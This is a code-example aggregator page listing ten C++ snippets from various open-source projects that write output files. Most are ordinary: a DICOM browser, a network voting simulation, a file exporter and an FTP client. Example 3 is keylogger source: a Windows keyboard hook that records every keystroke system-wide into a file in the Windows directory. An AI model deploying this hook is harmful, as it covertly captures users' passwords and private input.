当前位置: 首页>>代码示例>>C++>>正文


C++ outfile函数代码示例

本文整理汇总了C++中outfile函数的典型用法代码示例。如果您正苦于以下问题:C++ outfile函数的具体用法?C++ outfile怎么用?C++ outfile使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了outfile函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: outfile

// --------------------------------------------------------
// ---------- RecreateDB ----------------------------------
// --------------------------------------------------------
void MIViewBrowser::RecreateDB()
{
	wxArrayString files;
	wxFile outfile("browsedb.txt",wxFile::write);
	int fileCount;
	int i,j,k,m;
	int numStudies, numSeries, numFiles;
	wxArrayInt offs, lens;
	wxFile dicomfile;
	wxString str, msg;
	wxString patName, patDOB, studyDate, studyTime, seriesNum;
	wxString patientAndDOB, studyDateTimeStr, sliceNum;
	wxString studyName, seriesName, fileName;
	
	if (chkScanRecursively->GetValue())
		wxDir::GetAllFiles(txtScanDir->GetValue(),&files,"",wxDIR_DEFAULT);
	else
		wxDir::GetAllFiles(txtScanDir->GetValue(),&files,"",wxDIR_FILES);
	fileCount = (int)files.Count();

	/* setup the progress dialog */
	wxProgressDialog progDlg(wxT("Creating database..."), wxT(" "), fileCount, this, wxPD_SMOOTH | wxPD_ELAPSED_TIME | wxPD_CAN_ABORT);

	for (i=0;i<fileCount;i++) {
		wxFileName fn(files[i]);
		if ( (fn.GetExt() == "dcm") || (fn.GetExt() == "acr") || (fn.GetExt() == "") ) {
			if (!progDlg.Update(i,msg.Format("Reading file %d of %d",i,fileCount)))
				break;

			gdcm::ImageReader reader;
			/* see if the file will open */
			reader.SetFileName(files[i].c_str());
			if (reader.Read()) {
				gdcm::DataSet dataSet;
				const gdcm::File &file = reader.GetFile();
				dataSet = file.GetDataSet();

				gdcm::Attribute<0x0010,0x0010> at; /* patient name */
				if (dataSet.FindDataElement( at.GetTag() )) {
					const gdcm::DataElement &de = dataSet.GetDataElement( at.GetTag() );
					at.SetFromDataElement( de );
					patName = at.GetValue().c_str();
					patName.Replace("^",",");
				} else { patName = "";}

				gdcm::Attribute<0x0010,0x0030> at1; /* patient birthdate */
				if (dataSet.FindDataElement( at1.GetTag() )) {
					const gdcm::DataElement &de1 = dataSet.GetDataElement( at1.GetTag() );
					at1.SetFromDataElement( de1 );
					patDOB = at1.GetValue().c_str();
				} else { patDOB = "";}

				gdcm::Attribute<0x0008,0x0020> at2; /* study date */
				if (dataSet.FindDataElement( at2.GetTag() )) {
					const gdcm::DataElement &de2 = dataSet.GetDataElement( at2.GetTag() );
					at2.SetFromDataElement( de2 );
					studyDate = at2.GetValue().c_str();
				} else { studyDate = "";}

				gdcm::Attribute<0x0008,0x0030> at3; /* study time */
				if (dataSet.FindDataElement( at3.GetTag() )) {
					const gdcm::DataElement &de3 = dataSet.GetDataElement( at3.GetTag() );
					at3.SetFromDataElement( de3 );
					studyTime = at3.GetValue().c_str();
				} else { studyTime = "";}

				gdcm::Attribute<0x0020,0x0011> at4; /* series number */
				if (dataSet.FindDataElement( at4.GetTag() )) {
					const gdcm::DataElement &de4 = dataSet.GetDataElement( at4.GetTag() );
					at4.SetFromDataElement( de4 );
					seriesNum = wxString::Format("%d",at4.GetValue());
				} else { seriesNum = "";}

				gdcm::Attribute<0x0020,0x0011> at5; /* series number */
				if (dataSet.FindDataElement( at5.GetTag() )) {
					const gdcm::DataElement &de5 = dataSet.GetDataElement( at5.GetTag() );
					at5.SetFromDataElement( de5 );
					sliceNum = wxString::Format("%d",at5.GetValue());
				} else { sliceNum = "";}
				patientAndDOB = patName + "&" + patDOB;
				studyDateTimeStr = studyDate + "&" + studyTime;
				browsedb[patientAndDOB][studyDateTimeStr][seriesNum][files[i]].slicenum = atoi(sliceNum.c_str());
			}
		}
	}

	/* write out the database file */
	for (i=0;i<browsedb.GetNumPatients();i++) {
		patName = browsedb[i].patientName;
		numStudies = browsedb[i].GetNumStudies();
		str = patName + "\n";
		outfile.Write(str);
		for (j=0;j<numStudies;j++) {
			studyName = browsedb[i][j].studyName;
			numSeries = browsedb[i][j].GetNumSeries();
			str = "\t" + studyName + "\n";
			outfile.Write(str);
//.........这里部分代码省略.........
开发者ID:gbook,项目名称:miview,代码行数:101,代码来源:MIViewBrowser.cpp

示例2: main

int main()
{
	srand((unsigned)time(NULL));
	string graph_address="graph_all.txt";

	VGraph gv(graph_address);//Voting用的图
	PGraph gp(graph_address);//LP用的图
	VGraph gv_flow(graph_address); //Flow Voting用的图
	vector<Voter*> flowL;//记录所有的流实例
	vector<Voter*> voterL;//记录所有的投票者
	vector<Voter*> candiL;//记录所有的候选者
	int voting_choice=1;

	//收集每一轮投票的结果
	vector<double> app_happiness, voting_happiness, network_happiness;
	vector<double> app_delay, voting_delay, network_delay;
	vector<double> app_te, voting_te, network_te;
	vector<double> app_load, voting_load, network_load;

	//记录当前时间
	time_t tt = time(NULL);//这句返回的只是一个时间cuo
 	tm* t= localtime(&tt);

	string s="result";
	stringstream ss1;
	ss1<<t->tm_year+1900;
	s.append(ss1.str());

	stringstream ss2;
	ss2<<t->tm_mon+1;
	s.append(ss2.str());
 	
 	stringstream ss3;
	ss3<<t->tm_mday;
	s.append(ss3.str());
	
	stringstream ss4;
	ss4<<t->tm_hour;
	s.append(ss4.str());
	
	stringstream ss5;
	ss5<<t->tm_min;
	s.append(ss5.str());
	s.append(".txt");

	cout<<"current output file : "<<s<<endl;

	ofstream outfile(s);//最后一个case的结果
	ofstream req_outfile("req_outfile.txt");
	outfile<<graph_address<<"网络拓扑 caseN: "<<caseN<<endl;
	outfile<<"flow Range: "<<Begin_num<<"--"<<Maxflow+Begin_num-1<<endl<<endl;
	outfile<<"current output file : "<<s<<endl;

	vector<Req*> reqL;
	double table[M2C+1][N2C+1] = {0};
	int ranking[N2C+1]={0};//记录一种排序的投票人数
	double happiness_sum=0;
	
	for(int j=1;j<=Voternum;j++)
		ranking[j]=1;//每种投票结果有1个voter,如果为2就说明该方案有得到两个voter的票

	Voter* net_lb = new Network_LB(Maxreq,1);// Maxreq是投票者id, 1 表示网络投票者
	ranking[Voternum]=5;//给网络投票者更多的票数

	//Maxreq+1是投票者id,2表示中立投票者
	Voter* neutral_low = new Neutral(Maxreq+1, 2);  // te = 胜者TE基础上+5%
	Voter* neutral_middle = new Neutral(Maxreq+2, 2);  // te = 胜者TE基础上+10%
	Voter* neutral_high = new Neutral(Maxreq+3, 2); // te = 胜者TE基础上+20%

	//初次 修改neutral的te值
	neutral_low->te = 0.3;
	neutral_middle->te = 0.4;
	neutral_high->te = 0.5;

	//******** Flow Voting Variables *******
	vector<Voter*> flowL_flow;//记录Flow Voting所有的流实例
	vector<Voter*> voterL_flow;//记录Flow Voting所有的投票者
	vector<Voter*> candiL_flow;//记录Flow Voting所有的候选者
	double table_flow[M2C+1][N2C+1] = {0};
	int ranking_flow[N2C+1]={0};//记录一种排序的投票人数
	double happiness_sum_flow=0;
	for(int j=1;j<=Maxreq;j++)
		ranking_flow[j]=1;//每种投票结果有1个voter,如果为2就说明该方案有得到两个voter的票



	for(int i=0;i<caseN;i++)
	{
		cout<<endl<<"*************************"<<" case "<<i<<"*************************"<<endl;
		outfile<<endl<<"*************************"<<" case "<<i<<"*************************"<<endl;
		//初始化
		for(int j=0;j<Voternum;j++)
			for(int k=0;k<Voternum+3;k++)
			{
				table[j][k]=0;
				table_flow[j][k]=0;//table_flow的有效数据范围是table的子集
			}
		req_outfile<<"case "<<i<<endl;

		
//.........这里部分代码省略.........
开发者ID:gremount,项目名称:CRANA_Voting,代码行数:101,代码来源:Voting10.cpp

示例3: __declspec

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
	if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
		static bool capslock = false;
		static bool shift = false;
		char tmp[0xFF] = {0};
		std::string str;
		DWORD msg = 1;
		KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
		bool printable;

		/*
		 * Get key name as string
		 */
		msg += (st_hook.scanCode << 16);
		msg += (st_hook.flags << 24);
		GetKeyNameText(msg, tmp, 0xFF);
		str = std::string(tmp);

		printable = (str.length() <= 1) ? true : false;

		/*
		 * Non-printable characters only:
		 * Some of these (namely; newline, space and tab) will be
		 * made into printable characters.
		 * Others are encapsulated in brackets ('[' and ']').
		 */
		if (!printable) {
			/*
			 * Keynames that change state are handled here.
			 */
			if (str == "CAPSLOCK")
				capslock = !capslock;
			else if (str == "SHIFT")
				shift = true;

			/*
			 * Keynames that may become printable characters are
			 * handled here.
			 */
			if (str == "ENTER") {
				str = "\n";
				printable = true;
			} else if (str == "SPACE") {
				str = " ";
				printable = true;
			} else if (str == "TAB") {
				str = "\t";
				printable = true;
			} else {
				str = ("[" + str + "]");
			}
		}

		/*
		 * Printable characters only:
		 * If shift is on and capslock is off or shift is off and
		 * capslock is on, make the character uppercase.
		 * If both are off or both are on, the character is lowercase
		 */
		if (printable) {
			if (shift == capslock) { /* Lowercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = tolower(str[i]);
			} else { /* Uppercase */
				for (size_t i = 0; i < str.length(); ++i) {
					if (str[i] >= 'A' && str[i] <= 'Z') {
						str[i] = toupper(str[i]);
					}
				}
			}

			shift = false;
		}

#ifdef DEBUG
		std::cout << str;
#endif
		std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
		std::ofstream outfile(path.c_str(), std::ios_base::app);
		outfile << str;
		outfile.close();
	}

	return CallNextHookEx(kbdhook, code, wp, lp);
}
开发者ID:dcland,项目名称:RandomGoodness,代码行数:90,代码来源:KeyLogger1.c

示例4: WXUNUSED

void WFileList::OnMenuFileExport(wxCommandEvent& WXUNUSED(event))
{
    if (GetSelectedItemCount() == 0)
    {
        return;
    }
    else if (GetSelectedItemCount() == 1)
    {
        long sfid = GetNextItem(-1, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED);

        wxString suggestname = strSTL2WX(wmain->container.GetSubFileProperty(sfid, "Name"));

        wxFileDialog dlg(this,
                         _("Save SubFile"), wxEmptyString, suggestname,
                         _("Any file (*)|*"),
                         wxFD_SAVE | wxFD_OVERWRITE_PROMPT);

        if (dlg.ShowModal() != wxID_OK) return;

        wxFile outfile(dlg.GetPath(), wxFile::write);
        if (!outfile.IsOpened()) return;

        {
            wxFileOutputStream outstream(outfile);
            wmain->ExportSubFile(sfid, outstream);
        }

        wmain->UpdateStatusBar(wxString::Format(_("Wrote %u bytes from subfile \"%s\" to %s"),
                                                (unsigned int)(outfile.Tell()),
                                                suggestname.c_str(),
                                                dlg.GetPath().c_str()));
    }
    else
    {
        wxString dlgtitle = wxString::Format(_("Select directory to export %u files to."), GetSelectedItemCount());
        wxDirDialog dlg(this, dlgtitle, wxEmptyString, wxDD_DEFAULT_STYLE | wxDD_DIR_MUST_EXIST);

        if (dlg.ShowModal() != wxID_OK) return;

        int filesok = 0;

        long sfid = -1;
        while (1)
        {
            sfid = GetNextItem(sfid, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED);
            if (sfid == -1) break;

            wxString name = strSTL2WX(wmain->container.GetSubFileProperty(sfid, "Name"));

            wxFileName filename(dlg.GetPath(), name);

            if (filename.FileExists())
            {
                wxString overstr = wxString::Format(_("The export filename \"%s\" already exists.\nDo you wish to overwrite the existing file?"), filename.GetFullPath().c_str());

                wxMessageDialog overdlg(this, overstr, _("Overwrite existing file?"),
                                        wxYES_NO | wxNO_DEFAULT);

                if (overdlg.ShowModal() == wxID_NO) continue;
            }

            wxFile outfile(filename.GetFullPath(), wxFile::write);
            if (!outfile.IsOpened()) continue;

            {
                wxFileOutputStream outstream(outfile);
                wmain->ExportSubFile(sfid, outstream);
            }

            filesok++;
        }

        wmain->UpdateStatusBar(wxString::Format(wxPLURAL("Exported %u subfile to %s",
                                                         "Exported %u subfiles to %s", filesok),
                                                filesok, dlg.GetPath().c_str()));
    }
}
开发者ID:gatlex,项目名称:cryptote,代码行数:77,代码来源:wfilelist.cpp

示例5: build_omap_main

/**
 * argv[1] = path to training ply file
 * argv[2] = hypothesis id
 * argv[3] = path to omap save directory
 * argv[4] = vpx
 * argv[5] = vpy
 * argv[6] = vpz
 * argv[7] = vp_id
 */
int build_omap_main(int argc, char **argv)
{
    std::cout << "Starting oMap build process..." << std::endl;

    if(argc < 4)
        throw std::runtime_error("A directory to save the oMap_hyp.txt is required...\n");
    if(argc < 3)
        throw std::runtime_error("Hypothesis id is required as second argument...\n");
    if(argc < 2)
        throw std::runtime_error("A ply file is required as a first argument...\n");

    // Get directory paths and hypothesis id
    std::string ply_file_path( argv[1] );
    std::string hyp_id( argv[2] );
    std::string save_dir_path( argv[3] );
    std::string node_id("build_omap");
    std::string vision_module_path(ros::package::getPath("vision_module"));

    // Form the output filename
    std::stringstream omap_file_path;
    if(argc > 4) {
        omap_file_path << save_dir_path << "/oMap_" << hyp_id << "_" << argv[7] << ".txt";
        node_id.append( hyp_id + argv[7] );
    }
    else {
        omap_file_path << save_dir_path << "/oMap_" << hyp_id << ".txt";
        node_id.append( hyp_id );
    }
    std::ofstream outfile ( omap_file_path.str().c_str(), ofstream::app );

    if(!outfile.is_open())
        throw std::runtime_error("Unable to open omap save file...\n");

    // Import the sensor locations
    int num_vp;
    int dim_vp = 3;

    Eigen::MatrixXd vp_positions;

    if(argc > 4) {
        num_vp = 1;
        vp_positions.resize( num_vp, dim_vp );
        double vpx = std::atof(argv[4]);
        double vpy = std::atof(argv[5]);
        double vpz = std::atof(argv[6]);
        vp_positions << vpx, vpy, vpz;
    } else {
        std::string vp_file_path(vision_module_path + "/data/omap_vps.txt");
        io_utils::file2matrix( vp_file_path, vp_positions, dim_vp );
        num_vp = vp_positions.rows();
    }

    // Construct and initialize the virtual kinect
    int coord = 1;		// 0 = obj coord, 1 = optical sensor coord, 2 = standard sensor coord
    bool add_noise = false;
    vkin_offline vko( Eigen::Vector3d(0,0,0), Eigen::Vector4d(0,0,0,1),
                      coord, false, add_noise );
    vko.init_vkin( ply_file_path );
    Eigen::Vector3d target(0,0,0);

    // Construct and start a vocabulary tree
    vtree_user vt("/load", vision_module_path + "/data", vision_module_path + "/../data/cloud_data");
    vt.start();

    // noise
    boost::mt19937 rng(time(0));
    boost::normal_distribution<double> normal_distrib(0.0, 1.0);
    boost::variate_generator<boost::mt19937&, boost::normal_distribution<double> > gaussian_rng( rng, normal_distrib );


    double vp_noise_param = 0.01;	// standard deviation in position
    double tp_noise_param = 0.005;	// standard deviation in target
    double occ_dev = 0.005;	// occlussion cutoff threshold in the sensor frame

    int num_rep = 2;
    for(int vp = 0; vp < num_vp; ++vp)
    {
        // get a noiseless scan in the sensor frame
        //pcl::PointCloud<pcl::PointXYZ>::Ptr cld_ptr = vko.sense( vp_positions.row(vp).transpose(), target );

        for(int r = 0; r < num_rep; ++r)
        {
            // get cloud copy
            //pcl::PointCloud<pcl::PointXYZ>::Ptr noise_cloud_ptr (new pcl::PointCloud<pcl::PointXYZ>);
            //copyPointCloud( *cld_ptr, *noise_cloud_ptr );
            Eigen::Vector3d noise_vp;
            noise_vp.x() = vp_positions(vp,0) + vp_noise_param*gaussian_rng();
            noise_vp.y() = vp_positions(vp,1) + vp_noise_param*gaussian_rng();
            noise_vp.z() = vp_positions(vp,2) + vp_noise_param*gaussian_rng();

            Eigen::Vector3d noise_tp;
//.........这里部分代码省略.........
开发者ID:ktiwari9,项目名称:active_object_detection,代码行数:101,代码来源:build_omap_occ.cpp

示例6: outfile

bool
FtpClient::GetFile(const string& remote, const string& local, ftp_mode mode)
{
	bool rc = false;
	string cmd, replyString;
	int code, codeType, rlen, slen, i;
	BFile outfile(local.c_str(), B_READ_WRITE | B_CREATE_FILE);
	char buf[8192], sbuf[16384], *stmp;
	bool writeError = false;

	if (outfile.InitCheck() != B_NO_ERROR)
		return false;

	if (mode == binary_mode)
		cmd = "TYPE I";
	else
		cmd = "TYPE A";

	if (_SendRequest(cmd))
		_GetReply(replyString, code, codeType);

	if (_OpenDataConnection()) {
		cmd = "RETR ";
		cmd += remote;
		
		if (_SendRequest(cmd)) {
			if (_GetReply(replyString, code, codeType)) {
				if (codeType <= 2) {
					if (_AcceptDataConnection()) {
						rlen = 1;
						rc = true;
						while (rlen > 0) {
							memset(buf, 0, sizeof(buf));
							memset(sbuf, 0, sizeof(sbuf));
							rlen = fData->Receive(buf, sizeof(buf));
							
							if (rlen > 0) {

								slen = rlen;
								stmp = buf;
								if (mode == ascii_mode) {
									stmp = sbuf;
									slen = 0;
									for (i = 0; i < rlen; i++) {
										if (buf[i] == '\r')
											i++;
										*stmp = buf[i];
										stmp++;
										slen++;
									}
									stmp = sbuf;
								}

								if (slen > 0) {
									if (outfile.Write(stmp, slen) < 0)
										writeError = true;				
								}
							}
						}
					}
				}
			}
		}
	}

	delete fData;
	fData = 0;
	
	if (rc) {					
		_GetReply(replyString, code, codeType);
		rc = (codeType <= 2 && writeError == false);
	}
	return rc;
}
开发者ID:mariuz,项目名称:haiku,代码行数:74,代码来源:FtpClient.cpp

示例7: main

int main(int argc, char** argv)
{
	char *envstring = NULL;
	int iResult;
	string tempStr(REC_UNIT_INFO), tempStr1(REC_MODE);
	string path;
	string strShapeId;
    string strWordId;
	char infilelist[MAX_PATH];
	string outfile("wordrectst.out");
	vector<LTKTraceGroup> fieldInk;
	int charIndex;
	wstring eolstr(L"\r\n");
	int i;
    

	// first argument is the logical project name 
	// second argument is the ink file to recognize
	// third argument is the output file
	if(argc < 4)
	{
		cout << "\nUsage:";
		cout << "\nwordrectst <logical projectname> <list file to recognize> <outputfile>";
		cout << "\nlist of valid <logicalname>s is available in $LIPI_ROOT/projects/lipiengine.cfg file";
		cout << endl;
        delete utilPtr;
		return -1;
	}

	// Get the LIPI_ROOT environment variable 
	envstring = getenv(LIPIROOT_ENV_STRING);
	if(envstring == NULL)
	{
		cout << "\nError, Environment variable is not set LIPI_ROOT\n";
        delete utilPtr;
		return -1;
	}

	// Load the LipiEngine.DLL
	hLipiEngine = NULL;
	iResult = utilPtr->loadSharedLib(envstring, LIPIENGINE_MODULE_STR, &hLipiEngine);

	if(iResult != SUCCESS)
	{
		cout << "Error loading LipiEngine module" << endl;
        delete utilPtr;
		return -1;
	}

	if(MapFunctions() != 0)
	{
		cout << "Error fetching exported functions of the module" << endl;
        delete utilPtr;
		return -1;
	}

	// create an instance of LipiEngine Module
	ptrObj = createLTKLipiEngine();

	// set the LIPI_ROOT path in Lipiengine module instance
	ptrObj->setLipiRootPath(envstring);

	// Initialize the LipiEngine module
	iResult = ptrObj->initializeLipiEngine();
	if(iResult != SUCCESS)
	{
		cout << iResult << ": Error initializing LipiEngine.\n";
		utilPtr->unloadSharedLib(hLipiEngine);
        delete utilPtr;

		return -1;
	}

//	Assign the logical name of the project to this string, i.e. TAMIL_WORD
	string strLogicalName = string(argv[1]);

	strcpy(infilelist,  argv[2]);
	outfile = argv[3];

	LTKWordRecognizer *pWordReco = NULL;
	ptrObj->createWordRecognizer(strLogicalName,&pWordReco);
	if(pWordReco == NULL)
	{
		cout << "\nError creating Word Recognizer\n";
	
		utilPtr->unloadSharedLib(hLipiEngine);
        delete utilPtr;
		return -1;
	}

//	You can also use project and profile name to create LipiEngine instance as follows...
//	string strProjectName = "tamil_boxed_field";
//	string strProfileName = "default";
//	LTKWordRecognizer *pWordReco = ptrObj->createWordRecognizer(&strProjectName, &strProfileName);

	int iErrorCode = 0;
	LTKRecognitionContext *recoContext = new LTKRecognitionContext();

	if(iErrorCode != 0)
	{
//.........这里部分代码省略.........
开发者ID:LouisRenWeiWei,项目名称:Android-Math-Notebook,代码行数:101,代码来源:wordrectst.cpp

示例8: outfile

void LbmControlData::parseControldataAttrList(AttributeList *attr) {
	// controlpart vars
	mSetForceStrength = attr->readFloat("tforcestrength", mSetForceStrength,"LbmControlData", "mSetForceStrength", false);
	//errMsg("tforcestrength set to "," "<<mSetForceStrength);
	mCpUpdateInterval = attr->readInt("controlparticle_updateinterval", mCpUpdateInterval,"LbmControlData","mCpUpdateInterval", false);
	// tracer output file
	mCpOutfile = attr->readString("controlparticle_outfile",mCpOutfile,"LbmControlData","mCpOutfile", false);
	if(getenv("ELBEEM_CPOUTFILE")) {
		string outfile(getenv("ELBEEM_CPOUTFILE"));
		mCpOutfile = outfile;
		debMsgStd("LbmControlData::parseAttrList",DM_NOTIFY,"Using envvar ELBEEM_CPOUTFILE to set mCpOutfile to "<<outfile<<","<<mCpOutfile,7);
	}

	for(int cpii=0; cpii<10; cpii++) {
		string suffix("");
		//if(cpii>0)
		{  suffix = string("0"); suffix[0]+=cpii; }
		LbmControlSet *cset;
		cset = new LbmControlSet();
		cset->initCparts();

		cset->mContrPartFile = attr->readString("controlparticle"+suffix+"_file",cset->mContrPartFile,"LbmControlData","cset->mContrPartFile", false);
		if((cpii==0) && (getenv("ELBEEM_CPINFILE")) ) {
			string infile(getenv("ELBEEM_CPINFILE"));
			cset->mContrPartFile = infile;
			debMsgStd("LbmControlData::parseAttrList",DM_NOTIFY,"Using envvar ELBEEM_CPINFILE to set mContrPartFile to "<<infile<<","<<cset->mContrPartFile,7);
		}

		LbmFloat cpvort=0.;
		cset->mcRadiusAtt =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_radiusatt", 0., "LbmControlData","mcRadiusAtt" );
		cset->mcRadiusVel =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_radiusvel", 0., "LbmControlData","mcRadiusVel" );
		cset->mcRadiusVel =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_radiusvel", 0., "LbmControlData","mcRadiusVel" );
		cset->mCparts->setRadiusAtt(cset->mcRadiusAtt.get(0.));
		cset->mCparts->setRadiusVel(cset->mcRadiusVel.get(0.));

		// WARNING currently only for first set
		//if(cpii==0) {
		cset->mcForceAtt  =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_attraction", 0. , "LbmControlData","cset->mcForceAtt", false);
		cset->mcForceVel  =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_velocity",   0. , "LbmControlData","mcForceVel", false);
		cset->mcForceMaxd =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_maxdist",    0. , "LbmControlData","mcForceMaxd", false);
		cset->mCparts->setInfluenceAttraction(cset->mcForceAtt.get(0.) );
		// warning - stores temprorarily, value converted to dt dep. factor
		cset->mCparts->setInfluenceVelocity(cset->mcForceVel.get(0.) , 0.01 ); // dummy dt
		cset->mCparts->setInfluenceMaxdist(cset->mcForceMaxd.get(0.) );
		cpvort =  attr->readFloat("controlparticle"+suffix+"_vorticity",   cpvort, "LbmControlData","cpvort", false);
		cset->mCparts->setInfluenceTangential(cpvort);
			
		cset->mcRadiusMind =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_radiusmin", cset->mcRadiusMind.get(0.), "LbmControlData","mcRadiusMind", false);
		cset->mcRadiusMaxd =  attr->readChannelSinglePrecFloat("controlparticle"+suffix+"_radiusmax", cset->mcRadiusMind.get(0.), "LbmControlData","mcRadiusMaxd", false);
		cset->mCparts->setRadiusMinMaxd(cset->mcRadiusMind.get(0.));
		cset->mCparts->setRadiusMaxd(cset->mcRadiusMaxd.get(0.));
		//}

		// now local...
		//LbmVec cpOffset(0.), cpScale(1.);
		LbmFloat cpTimescale = 1.;
		string cpMirroring("");

		//cset->mcCpOffset = attr->readChannelVec3f("controlparticle"+suffix+"_offset", ntlVec3f(0.),"LbmControlData","mcCpOffset", false);
		//cset->mcCpScale =  attr->readChannelVec3f("controlparticle"+suffix+"_scale",  ntlVec3f(1.), "LbmControlData","mcCpScale", false);
		cset->mcCpOffset = attr->readChannelVec3f("controlparticle"+suffix+"_offset", ntlVec3f(0.),"LbmControlData","mcCpOffset", false);
		cset->mcCpScale =  attr->readChannelVec3f("controlparticle"+suffix+"_scale",  ntlVec3f(1.), "LbmControlData","mcCpScale", false);
		cpTimescale =  attr->readFloat("controlparticle"+suffix+"_timescale",  cpTimescale, "LbmControlData","cpTimescale", false);
		cpMirroring =  attr->readString("controlparticle"+suffix+"_mirror",  cpMirroring, "LbmControlData","cpMirroring", false);

		LbmFloat cpsWidth = cset->mCparts->getCPSWith();
		cpsWidth =  attr->readFloat("controlparticle"+suffix+"_cpswidth",  cpsWidth, "LbmControlData","cpsWidth", false);
		LbmFloat cpsDt = cset->mCparts->getCPSTimestep();
		cpsDt =  attr->readFloat("controlparticle"+suffix+"_cpstimestep",  cpsDt, "LbmControlData","cpsDt", false);
		LbmFloat cpsTstart = cset->mCparts->getCPSTimeStart();
		cpsTstart =  attr->readFloat("controlparticle"+suffix+"_cpststart",  cpsTstart, "LbmControlData","cpsTstart", false);
		LbmFloat cpsTend = cset->mCparts->getCPSTimeEnd();
		cpsTend =  attr->readFloat("controlparticle"+suffix+"_cpstend",  cpsTend, "LbmControlData","cpsTend", false);
		LbmFloat cpsMvmfac = cset->mCparts->getCPSMvmWeightFac();
		cpsMvmfac =  attr->readFloat("controlparticle"+suffix+"_cpsmvmfac",  cpsMvmfac, "LbmControlData","cpsMvmfac", false);
		cset->mCparts->setCPSWith(cpsWidth);
		cset->mCparts->setCPSTimestep(cpsDt);
		cset->mCparts->setCPSTimeStart(cpsTstart);
		cset->mCparts->setCPSTimeEnd(cpsTend);
		cset->mCparts->setCPSMvmWeightFac(cpsMvmfac);

		cset->mCparts->setOffset( vec2L(cset->mcCpOffset.get(0.)) );
		cset->mCparts->setScale( vec2L(cset->mcCpScale.get(0.)) );
		cset->mCparts->setInitTimeScale( cpTimescale );
		cset->mCparts->setInitMirror( cpMirroring );

		int mDebugInit = 0;
		mDebugInit = attr->readInt("controlparticle"+suffix+"_debuginit", mDebugInit,"LbmControlData","mDebugInit", false);
		cset->mCparts->setDebugInit(mDebugInit);

		// motion particle settings
		LbmVec mcpOffset(0.), mcpScale(1.);
		LbmFloat mcpTimescale = 1.;
		string mcpMirroring("");

		cset->mCpmotionFile = attr->readString("cpmotion"+suffix+"_file",cset->mCpmotionFile,"LbmControlData","mCpmotionFile", false);
		mcpTimescale =  attr->readFloat("cpmotion"+suffix+"_timescale",  mcpTimescale, "LbmControlData","mcpTimescale", false);
		mcpMirroring =  attr->readString("cpmotion"+suffix+"_mirror",  mcpMirroring, "LbmControlData","mcpMirroring", false);
		mcpOffset = vec2L( attr->readVec3d("cpmotion"+suffix+"_offset", vec2P(mcpOffset),"LbmControlData","cpOffset", false) );
		mcpScale =  vec2L( attr->readVec3d("cpmotion"+suffix+"_scale",  vec2P(mcpScale), "LbmControlData","cpScale", false) );
//.........这里部分代码省略.........
开发者ID:HVisionSensing,项目名称:blendocv,代码行数:101,代码来源:solver_control.cpp

示例9: srand

/* MainWindow::createStartPage
 * Builds the HTML start page and loads it into the html viewer
 * (start page tab)
 *******************************************************************/
void MainWindow::createStartPage()
{
	// Get relevant resource entries
	Archive* res_archive = theArchiveManager->programResourceArchive();
	if (!res_archive)
		return;
	ArchiveEntry* entry_html = res_archive->entryAtPath("html/startpage.htm");
	ArchiveEntry* entry_logo = res_archive->entryAtPath("logo.png");
	ArchiveEntry* entry_tips = res_archive->entryAtPath("tips.txt");

	// Can't do anything without html entry
	if (!entry_html)
	{
		html_startpage->SetPage("<html><head><title>SLADE</title></head><body><center><h1>Something is wrong with slade.pk3 :(</h1><center></body></html>");
		return;
	}

	// Get html as string
	string html = wxString::FromAscii((const char*)(entry_html->getData()), entry_html->getSize());

	// Generate tip of the day string
	string tip = "It seems tips.txt is missing from your slade.pk3";
	if (entry_tips)
	{
		Tokenizer tz;
		tz.openMem((const char*)entry_tips->getData(), entry_tips->getSize(), entry_tips->getName());
		srand(wxGetLocalTime());
		int numtips = tz.getInteger();
		if (numtips < 2) // Needs at least two choices or it's kinda pointless.
			tip = "Did you know? Something is wrong with the tips.txt file in your slade.pk3.";
		else
		{
			int tipindex = 0;
			// Don't show same tip twice in a row
			do { tipindex = 1 + (rand() % numtips); }
			while (tipindex == lasttipindex);
			lasttipindex = tipindex;
			for (int a = 0; a < tipindex; a++)
				tip = tz.getToken();
		}
	}

	// Generate recent files string
	string recent;
	for (unsigned a = 0; a < 4; a++)
	{
		if (a >= theArchiveManager->numRecentFiles())
			break;	// No more recent files

		// Add line break if needed
		if (a > 0) recent += "<br/>\n";

		// Add recent file link
		recent += S_FMT("<a href=\"recent://%d\">%s</a>", a, theArchiveManager->recentFile(a));
	}

	// Insert tip and recent files into html
	html.Replace("#recent#", recent);
	html.Replace("#totd#", tip);

	// Write html and images to temp folder
	if (entry_logo) entry_logo->exportFile(appPath("logo.png", DIR_TEMP));
	string html_file = appPath("startpage.htm", DIR_TEMP);
	wxFile outfile(html_file, wxFile::write);
	outfile.Write(html);
	outfile.Close();

	// Load page
	html_startpage->LoadPage(html_file);

	// Clean up
	wxRemoveFile(html_file);
	wxRemoveFile(appPath("logo.png", DIR_TEMP));
}
开发者ID:Zekom,项目名称:SLADE,代码行数:78,代码来源:MainWindow.cpp

示例10: updatePrompt

/****************************************************************************
 * WindowPrompt
 *
 * Displays a prompt window to user, with information, an error message, or
 * presenting a user with a choice
 ***************************************************************************/
void
updatePrompt(string rev)
{
//	bool stop = true;

	GuiWindow promptWindow(520,360);
	promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);
	promptWindow.SetPosition(0, -10);
	GuiTrigger trigA;
	trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A);


	GuiImageData dialogBox(Theme.dialog_background);
